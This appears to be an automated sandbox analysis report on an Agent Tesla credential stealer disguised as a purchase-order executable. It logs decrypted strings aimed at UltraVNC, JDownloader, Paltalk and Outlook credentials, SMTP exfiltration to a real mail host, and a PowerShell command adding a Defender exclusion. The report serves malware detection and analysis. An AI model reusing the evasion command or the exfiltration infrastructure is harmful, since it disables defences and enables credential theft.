Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \uvnc bvba\UltraVNC\ultravnc.ini
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: passwd
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: UltraVNC
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ProgramFiles(x86)
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \uvnc bvba\UltraVNC\ultravnc.ini
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: passwd2
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: UltraVNC
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ProgramFiles
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \uvnc bvba\UltraVNC\ultravnc.ini
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: passwd
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: UltraVNC
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ProgramFiles
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \uvnc bvba\UltraVNC\ultravnc.ini
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: passwd2
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: UltraVNC
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ProgramFiles
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \UltraVNC\ultravnc.ini
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: passwd
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: UltraVNC
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ProgramFiles
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \UltraVNC\ultravnc.ini
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: passwd2
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: UltraVNC
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ProgramFiles(x86)
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \UltraVNC\ultravnc.ini
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: passwd
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: UltraVNC
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ProgramFiles(x86)
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \UltraVNC\ultravnc.ini
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: passwd2
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: JDownloader 2.0
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: JDownloader 2.0\cfg
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: org.jdownloader.settings.AccountSettings.accounts.ejs
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: JDownloader 2.0\cfg
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: jd.controlling.authentication.AuthenticationControllerSettings.list.ejs
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Paltalk
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Software\A.V.M.\Paltalk NG\common_settings\core\users\creds\
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: nickname

Source: PURCHASE ORDER-6350-2024.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: PURCHASE ORDER-6350-2024.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: NnLj.pdbSHA256 source: PURCHASE ORDER-6350-2024.exe
Source:	Binary string: NnLj.pdb source: PURCHASE ORDER-6350-2024.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855245 - Severity 1 - ETPRO MALWARE Agent Tesla Exfil via SMTP : 192.168.2.5:49707 -> 199.79.62.115:587
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.5:49707 -> 199.79.62.115:587
Source: Network traffic	Suricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.5:49707 -> 199.79.62.115:587
Source: Network traffic	Suricata IDS: 2839723 - Severity 1 - ETPRO MALWARE Win32/Agent Tesla SMTP Activity : 192.168.2.5:49707 -> 199.79.62.115:587
Source: Network traffic	Suricata IDS: 2840032 - Severity 1 - ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 : 192.168.2.5:49707 -> 199.79.62.115:587

Source: global traffic

TCP traffic: 192.168.2.5:49707 -> 199.79.62.115:587

Source: Joe Sandbox View

IP Address: 199.79.62.115 199.79.62.115

Source: Joe Sandbox View

ASN Name: PUBLIC-DOMAIN-REGISTRYUS PUBLIC-DOMAIN-REGISTRYUS

Source: global traffic

TCP traffic: 192.168.2.5:49707 -> 199.79.62.115:587

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: mail.mbarieservicesltd.com

Source: PURCHASE ORDER-6350-2024.exe, 00000006.00000002.3266110194.0000000002D6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.mbarieservicesltd.com
Source: PURCHASE ORDER-6350-2024.exe, 00000000.00000002.2051720668.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: PURCHASE ORDER-6350-2024.exe

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 0_2_010EF044	0_2_010EF044
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 0_2_06DD3A50	0_2_06DD3A50
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 0_2_06DDD3D4	0_2_06DDD3D4
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 0_2_06DD1340	0_2_06DD1340
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 0_2_06E1E7C3	0_2_06E1E7C3
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 0_2_06E1F038	0_2_06E1F038
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 0_2_06E1EC00	0_2_06E1EC00
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 0_2_06E1EBFF	0_2_06E1EBFF
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 6_2_01364140	6_2_01364140
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 6_2_01364D58	6_2_01364D58
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 6_2_01364488	6_2_01364488
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 6_2_067235F8	6_2_067235F8
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Code function: 6_2_067219A0	6_2_067219A0

Source: PURCHASE ORDER-6350-2024.exe, 00000000.00000002.2053479431.0000000003A29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7b99aba2-3c62-4861-97de-170caa2c3039.exe4 vs PURCHASE ORDER-6350-2024.exe
Source: PURCHASE ORDER-6350-2024.exe, 00000000.00000002.2053479431.0000000003A29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs PURCHASE ORDER-6350-2024.exe
Source: PURCHASE ORDER-6350-2024.exe, 00000000.00000002.2059322242.00000000088B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXE.MUIj% vs PURCHASE ORDER-6350-2024.exe
Source: PURCHASE ORDER-6350-2024.exe, 00000000.00000000.2022902908.000000000071C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameNnLj.exeL vs PURCHASE ORDER-6350-2024.exe
Source: PURCHASE ORDER-6350-2024.exe, 00000000.00000002.2045099806.0000000000CDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs PURCHASE ORDER-6350-2024.exe
Source: PURCHASE ORDER-6350-2024.exe, 00000000.00000002.2051720668.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7b99aba2-3c62-4861-97de-170caa2c3039.exe4 vs PURCHASE ORDER-6350-2024.exe
Source: PURCHASE ORDER-6350-2024.exe, 00000000.00000002.2060019477.0000000008940000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs PURCHASE ORDER-6350-2024.exe
Source: PURCHASE ORDER-6350-2024.exe, 00000006.00000002.3264163729.000000000042C000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7b99aba2-3c62-4861-97de-170caa2c3039.exe4 vs PURCHASE ORDER-6350-2024.exe
Source: PURCHASE ORDER-6350-2024.exe, 00000006.00000002.3264545224.0000000000EF8000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs PURCHASE ORDER-6350-2024.exe
Source: PURCHASE ORDER-6350-2024.exe	Binary or memory string: OriginalFilenameNnLj.exeL vs PURCHASE ORDER-6350-2024.exe

Source: PURCHASE ORDER-6350-2024.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: PURCHASE ORDER-6350-2024.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.PURCHASE ORDER-6350-2024.exe.3adde58.3.raw.unpack, O.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3adde58.3.raw.unpack, O.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3adde58.3.raw.unpack, P.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3adde58.3.raw.unpack, P.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3adde58.3.raw.unpack, N.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3adde58.3.raw.unpack, N.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3adde58.3.raw.unpack, N.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3adde58.3.raw.unpack, N.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, iv04pT1Nje59B37HvY.cs	Security API names: _0020.SetAccessControl
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, iv04pT1Nje59B37HvY.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, iv04pT1Nje59B37HvY.cs	Security API names: _0020.AddAccessRule
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, iv04pT1Nje59B37HvY.cs	Security API names: _0020.SetAccessControl
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, iv04pT1Nje59B37HvY.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, iv04pT1Nje59B37HvY.cs	Security API names: _0020.AddAccessRule
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, P3KWcgP03CKVL94tw3.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, P3KWcgP03CKVL94tw3.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/6@1/1

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PURCHASE ORDER-6350-2024.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6752:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aa3ncavf.zhi.ps1

Jump to behavior

Source: PURCHASE ORDER-6350-2024.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: PURCHASE ORDER-6350-2024.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PURCHASE ORDER-6350-2024.exe

ReversingLabs: Detection: 21%

Source: PURCHASE ORDER-6350-2024.exe

String found in binary or memory: $72794fd6-9579-4364-adda-1580f4b1038b

Source: unknown	Process created: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe"
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process created: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe"
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process created: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe"
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe"	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process created: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe"	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process created: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: PURCHASE ORDER-6350-2024.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: PURCHASE ORDER-6350-2024.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: PURCHASE ORDER-6350-2024.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: NnLj.pdbSHA256 source: PURCHASE ORDER-6350-2024.exe
Source:	Binary string: NnLj.pdb source: PURCHASE ORDER-6350-2024.exe

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.PURCHASE ORDER-6350-2024.exe.2b69bcc.1.raw.unpack, RZ.cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.PURCHASE ORDER-6350-2024.exe.8940000.6.raw.unpack, iv04pT1Nje59B37HvY.cs	.Net Code: MtQH1fVeKqYooKecnGf System.Reflection.Assembly.Load(byte[])
Source: 0.2.PURCHASE ORDER-6350-2024.exe.3bfeaa0.2.raw.unpack, iv04pT1Nje59B37HvY.cs	.Net Code: MtQH1fVeKqYooKecnGf System.Reflection.Assembly.Load(byte[])
